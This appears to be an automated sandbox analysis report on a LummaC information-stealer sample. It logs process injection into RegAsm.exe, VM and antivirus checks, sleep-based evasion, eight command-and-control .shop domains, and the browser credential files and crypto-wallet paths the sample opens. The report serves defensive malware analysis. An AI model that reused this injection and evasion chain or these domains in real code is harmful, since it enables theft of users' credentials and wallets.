Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00426F29	2_2_00426F29
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00426FA0	2_2_00426FA0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00408C90 appears 42 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 004092E0 appears 160 times

Source: hcjt7Ajt5t.exe, 00000000.00000000.2037228047.0000000000520000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameCurrent.exeJ vs hcjt7Ajt5t.exe
Source: hcjt7Ajt5t.exe, 00000000.00000002.2038916729.0000000000ACE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs hcjt7Ajt5t.exe
Source: hcjt7Ajt5t.exe	Binary or memory string: OriginalFilenameCurrent.exeJ vs hcjt7Ajt5t.exe

Source: hcjt7Ajt5t.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/1@1/1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_0042A936 CoCreateInstance,

2_2_0042A936

Source: C:\Users\user\Desktop\hcjt7Ajt5t.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\hcjt7Ajt5t.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\hcjt7Ajt5t.exe

Mutant created: NULL

Source: hcjt7Ajt5t.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: hcjt7Ajt5t.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\hcjt7Ajt5t.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: hcjt7Ajt5t.exe	ReversingLabs: Detection: 55%
Source: hcjt7Ajt5t.exe	Virustotal: Detection: 67%

Source: unknown	Process created: C:\Users\user\Desktop\hcjt7Ajt5t.exe "C:\Users\user\Desktop\hcjt7Ajt5t.exe"
Source: C:\Users\user\Desktop\hcjt7Ajt5t.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\hcjt7Ajt5t.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior

Source: C:\Users\user\Desktop\hcjt7Ajt5t.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\hcjt7Ajt5t.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hcjt7Ajt5t.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\hcjt7Ajt5t.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\hcjt7Ajt5t.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\hcjt7Ajt5t.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\hcjt7Ajt5t.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: hcjt7Ajt5t.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: hcjt7Ajt5t.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: hcjt7Ajt5t.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\aq9gipvmwuxzm4\obj\Release\Current.pdb source: hcjt7Ajt5t.exe
Source:	Binary string: C:\aq9gipvmwuxzm4\obj\Release\Current.pdb:2T2 F2_CorExeMainmscoree.dll source: hcjt7Ajt5t.exe

Source: hcjt7Ajt5t.exe

Static PE information: 0xFFA68CF6 [Tue Dec 1 10:05:42 2105 UTC]

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0043F5AC push esi; retn 0048h	2_2_0043F5AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0043FC64 push eax; iretd	2_2_0043FC65
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00440C13 push ecx; ret	2_2_00440C17
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0043FC98 push AA77266Eh; iretd	2_2_0043FC9D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0043FD86 pushfd ; ret	2_2_0043FD87

Source: hcjt7Ajt5t.exe

Static PE information: section name: .text entropy: 7.996520138498733

Source: C:\Users\user\Desktop\hcjt7Ajt5t.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hcjt7Ajt5t.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hcjt7Ajt5t.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hcjt7Ajt5t.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hcjt7Ajt5t.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hcjt7Ajt5t.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hcjt7Ajt5t.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hcjt7Ajt5t.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hcjt7Ajt5t.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\hcjt7Ajt5t.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\hcjt7Ajt5t.exe	Memory allocated: E70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\hcjt7Ajt5t.exe	Memory allocated: 2810000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\hcjt7Ajt5t.exe	Memory allocated: 4810000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\hcjt7Ajt5t.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\hcjt7Ajt5t.exe TID: 5272	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 992	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 3184	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\hcjt7Ajt5t.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: RegAsm.exe, 00000002.00000002.2116014164.0000000000F2A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2116014164.0000000000F85000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00435B70 LdrInitializeThunk,

2_2_00435B70

Source: C:\Users\user\Desktop\hcjt7Ajt5t.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\hcjt7Ajt5t.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\hcjt7Ajt5t.exe

Code function: 0_2_02812435 CreateProcessA,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,

0_2_02812435

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\hcjt7Ajt5t.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: hcjt7Ajt5t.exe, 00000000.00000002.2039390867.0000000003815000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: wifeplasterbakewis.shop
Source: hcjt7Ajt5t.exe, 00000000.00000002.2039390867.0000000003815000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: mealplayerpreceodsju.shop
Source: hcjt7Ajt5t.exe, 00000000.00000002.2039390867.0000000003815000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: bordersoarmanusjuw.shop
Source: hcjt7Ajt5t.exe, 00000000.00000002.2039390867.0000000003815000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: suitcaseacanehalk.shop
Source: hcjt7Ajt5t.exe, 00000000.00000002.2039390867.0000000003815000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: absentconvicsjawun.shop
Source: hcjt7Ajt5t.exe, 00000000.00000002.2039390867.0000000003815000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: pushjellysingeywus.shop
Source: hcjt7Ajt5t.exe, 00000000.00000002.2039390867.0000000003815000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: economicscreateojsu.shop
Source: hcjt7Ajt5t.exe, 00000000.00000002.2039390867.0000000003815000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: entitlementappwo.shop

Writes to foreign memory regions

Source: C:\Users\user\Desktop\hcjt7Ajt5t.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\hcjt7Ajt5t.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\hcjt7Ajt5t.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43C000	Jump to behavior
Source: C:\Users\user\Desktop\hcjt7Ajt5t.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43F000	Jump to behavior
Source: C:\Users\user\Desktop\hcjt7Ajt5t.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 44A000	Jump to behavior
Source: C:\Users\user\Desktop\hcjt7Ajt5t.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: B8C008	Jump to behavior

Source: C:\Users\user\Desktop\hcjt7Ajt5t.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

Jump to behavior

Source: C:\Users\user\Desktop\hcjt7Ajt5t.exe	Queries volume information: C:\Users\user\Desktop\hcjt7Ajt5t.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: RegAsm.exe, 00000002.00000002.2115928435.0000000000D68000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: AWallets/ElectrumA
Source: RegAsm.exe, 00000002.00000002.2116014164.0000000000F57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty
Source: RegAsm.exe, 00000002.00000002.2115928435.0000000000D68000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: Awindow-state.json-
Source: RegAsm.exe, 00000002.00000002.2116014164.0000000000F85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: RegAsm.exe, 00000002.00000002.2116014164.0000000000F2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: RegAsm.exe, 00000002.00000002.2115928435.0000000000D68000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: Aapp-store.jsonAWallets/BinanceC:\Users\user\AppData\Roaming\Binance*
Source: RegAsm.exe, 00000002.00000002.2116014164.0000000000F85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: RegAsm.exe, 00000002.00000002.2116014164.0000000000F2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: RegAsm.exe, 00000002.00000002.2116014164.0000000000F2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
